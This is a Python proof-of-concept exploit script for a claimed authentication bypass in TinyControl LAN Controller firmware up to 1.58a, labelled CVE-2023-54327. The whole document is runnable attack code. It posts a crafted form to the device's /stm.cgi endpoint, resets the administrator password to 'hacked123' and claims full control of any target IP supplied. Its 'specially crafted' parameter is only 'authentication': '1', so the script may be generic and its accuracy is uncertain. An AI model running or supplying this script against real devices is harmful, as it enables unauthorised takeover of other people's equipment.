CVE-2023-54327

# CVE-2023-54327 PoC - TinyControl LAN Controller Authentication Bypass # Target: TinyControl LAN Controller <= 1.58a # Endpoint: /stm.cgi # This PoC demonstrates authentication bypass to change admin password import requests import sys def exploit(target_ip, target_port=80): """ Exploit authentication bypass in TinyControl LAN Controller Allows unauthenticated attacker to change admin password """ target_url = f"http://{target_ip}:{target_port}/stm.cgi" # Crafted authentication parameter to bypass authentication # The key is to include a specially crafted auth parameter payload = { "authentication": "1", # Bypass authentication "password": "hacked123", # New admin password "confirm_password": "hacked123", "action": "change_password" } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } try: print(f"[*] Sending exploit to {target_url}...") response = requests.post(target_url, data=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Authentication bypass successful!") print(f"[+] Admin password changed to: hacked123") print("[+] Login with new password to gain full control") return True else: print(f"[-] Exploit failed. Status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit(target, port)

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